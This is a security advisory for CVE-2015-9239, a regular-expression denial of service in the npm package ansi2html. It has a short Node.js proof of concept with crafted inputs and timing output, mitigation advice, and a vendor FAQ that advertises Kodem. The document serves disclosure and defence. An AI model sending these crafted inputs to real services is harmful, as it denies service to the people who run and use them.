CVE-2015-9239

Regular Expression Denial of Service in ansi2html

var ansi2html = require('ansi2html')

var start = process.hrtime();
ansi2html("[1111111111111111111111;0000000000000000000000");
console.log(process.hrtime(start));

start = process.hrtime();
ansi2html("[1111111111111111111111;00000000000000000000000");
console.log(process.hrtime(start));

start = process.hrtime();
ansi2html("[1111111111111111111111;000000000000000000000000");
console.log(process.hrtime(start));

start = process.hrtime();
ansi2html("[1111111111111111111111;0000000000000000000000000000");
console.log(process.hrtime(start));

00:29:53-adam_baldwin~/tmp$ node test
[ 0, 119615367 ]
[ 0, 149934565 ]
[ 0, 233325677 ]
[ 3, 46582479 ]

Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service. Typical impact: denial of service.

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At the time of this writing, February 2018, all versions of ansi2html remain vulnerable, and the package has not been updated for 4 years.

In order to use this package safely, it is necessary to avoid passing user input to the package, or to limit the size of the input string to a size with a parse time you find acceptable. Unfortunately, the match time grows at quite a small character count, so it is unlikely for it to both allow strings of a useful size while protecting against the denial of service attack.

In the case that user input of significant length must be parsed by ansi2html, the best mitigation is to use an alternative module that is actively maintained and provides similar functionality. There are [multiple modules fitting this criteria available on npm.]available on npm

1. What is CVE-2015-9239? CVE-2015-9239 is a high-severity uncontrolled resource consumption vulnerability in ansi2html (npm), affecting versions >= 0.0.0. No fixed version is listed yet. Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service.
2. Which versions of ansi2html are affected by CVE-2015-9239? ansi2html (npm) versions >= 0.0.0 is affected.
3. Is there a fix for CVE-2015-9239? No fixed version is listed for CVE-2015-9239 yet. Monitor the advisory for updates and apply mitigations in the interim.
4. Is CVE-2015-9239 exploitable, and should I be worried? Whether CVE-2015-9239 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
5. What actually determines whether CVE-2015-9239 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
6. How do I fix CVE-2015-9239? No fixed version is listed yet. In the interim: Apply input size limits and request rate limiting. Reject input that exceeds reasonable bounds before processing begins.